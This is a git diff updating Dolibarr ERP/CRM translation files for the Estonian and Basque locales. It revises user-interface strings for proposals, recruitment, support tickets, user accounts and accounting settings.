-DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Vaikimisi mall pakkumise sulgemiseks (arvet ei esitata) DefaultModelPropalCreate=Vaikimisi mudeli loomine DefaultModelPropalToBill=Vaikimisi mall pakkumise sulgemiseks (arve esitada) -DefaultModelPropalClosed=Vaikimisi mall pakkumise sulgemiseks (arvet ei esitata) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Keeldu +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Written acceptance, company stamp, date and signature ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/et_EE/recruitment.lang b/htdocs/langs/et_EE/recruitment.lang index f5373d88475..f21c797b5d4 100644 --- a/htdocs/langs/et_EE/recruitment.lang +++ b/htdocs/langs/et_EE/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Palk +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/et_EE/ticket.lang b/htdocs/langs/et_EE/ticket.lang index c2d2a8f0d6a..72cc56ad90a 100644 --- a/htdocs/langs/et_EE/ticket.lang +++ b/htdocs/langs/et_EE/ticket.lang @@ -27,6 +27,7 @@ Permission56003=Delete tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -90,15 +91,17 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Notification email from -TicketEmailNotificationFromHelp=Used into ticket message answer by example -TicketEmailNotificationTo=Notifications email to -TicketEmailNotificationToHelp=Send email notifications to this address. +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationTo=Notify ticket creation to this e-mail address +TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Public interface TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -136,6 +139,20 @@ TicketsPublicNotificationNewMessage=Send email(s) when a new message/comment is TicketsPublicNotificationNewMessageHelp=Send email(s) when a new message is added from public interface (to assigned user or the notifications email to (update) and/or the notifications email to) TicketPublicNotificationNewMessageDefaultEmail=Notifications email to (update) TicketPublicNotificationNewMessageDefaultEmailHelp=Send an email to this address for each new message notifications if the ticket doesn't have a user assigned to it or if the user doesn't have any known email. +TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) +TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". +TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): +TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. +TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): +TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. +TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket +TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. +TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. +TicketChooseProductCategory=Product category for ticket support +TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. + # # Index & list page # @@ -151,6 +168,8 @@ OrderByDateAsc=Sort by ascending date OrderByDateDesc=Sort by descending date ShowAsConversation=Show as conversation list MessageListViewType=Show as table list +ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets +ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? # # Ticket card @@ -176,8 +195,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Change severity -TicketAddMessage=Add a message -AddMessage=Add a message +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Message successfully added TicketMessagesList=Message list @@ -188,8 +206,8 @@ TicketSeverity=Severity ShowTicket=See ticket RelatedTickets=Related tickets TicketAddIntervention=Create intervention -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -203,18 +221,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=New message ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction to the message when sending email -TicketMessageMailIntroText=Hello,
      A new response was sent on a ticket that you contact. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the text of the response to a ticket. -TicketMessageMailSignature=Allkiri -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=

      Sincerely,

      --

      -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=This text will be inserted after the response message. +TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      +TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -225,6 +242,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message @@ -238,9 +256,16 @@ TicketChangeStatus=Change status TicketConfirmChangeStatus=Confirm the status change: %s ? TicketLogStatusChanged=Status changed: %s to %s TicketNotNotifyTiersAtCreate=Not notify company at create +NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket +TicketNotifyAllTiersAtClose=All related contacts +TicketNotNotifyTiersAtClose=No related contact Unread=Unread TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. ErrorTicketRefRequired=Ticket reference name is required +TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. +TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. +TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. +TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. # # Logs @@ -268,11 +293,12 @@ TicketNewEmailBody=This is an automatic email to confirm you have registered a n TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. TicketNewEmailBodyInfosTicket=Information for monitoring the ticket TicketNewEmailBodyInfosTrackId=Ticket tracking number: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the link above. +TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID @@ -291,6 +317,10 @@ NewUser=Uus kasutaja NumberOfTicketsByMonth=Number of tickets per month NbOfTickets=Number of tickets # notifications +TicketCloseEmailSubjectCustomer=Ticket closed +TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. +TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) +TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: TicketNotificationEmailSubject=Ticket %s updated TicketNotificationEmailBody=This is an automatic message to notify you that ticket %s has just been updated TicketNotificationRecipient=Notification recipient diff --git a/htdocs/langs/et_EE/users.lang b/htdocs/langs/et_EE/users.lang index 34610c3c036..06d8fde378a 100644 --- a/htdocs/langs/et_EE/users.lang +++ b/htdocs/langs/et_EE/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Eemalda grupist PasswordChangedAndSentTo=Salasõna muudetud ja saadetud aadressile %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Kasutaja %s salasõna muutmise plave saadetud aadressile %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Kasutajad ja grupid @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Loo kasutaja CreateDolibarrThirdParty=Loo kolmas isi -LoginAccountDisableInDolibarr=Konto on Dolibarris blokeeritud. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Kasuta isikustatud väärtust -InternalUser=Sisemine kasutaja ExportDataset_user_1=Users and their properties DomainUser=Domeeni kasutaja %s Reactivate=Aktiveeri uuesti @@ -114,7 +114,7 @@ UserLogoff=User logout UserLogged=User logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,12 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/eu_ES/accountancy.lang b/htdocs/langs/eu_ES/accountancy.lang index 8bc4b54a090..7158d53896a 100644 --- a/htdocs/langs/eu_ES/accountancy.lang +++ b/htdocs/langs/eu_ES/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s 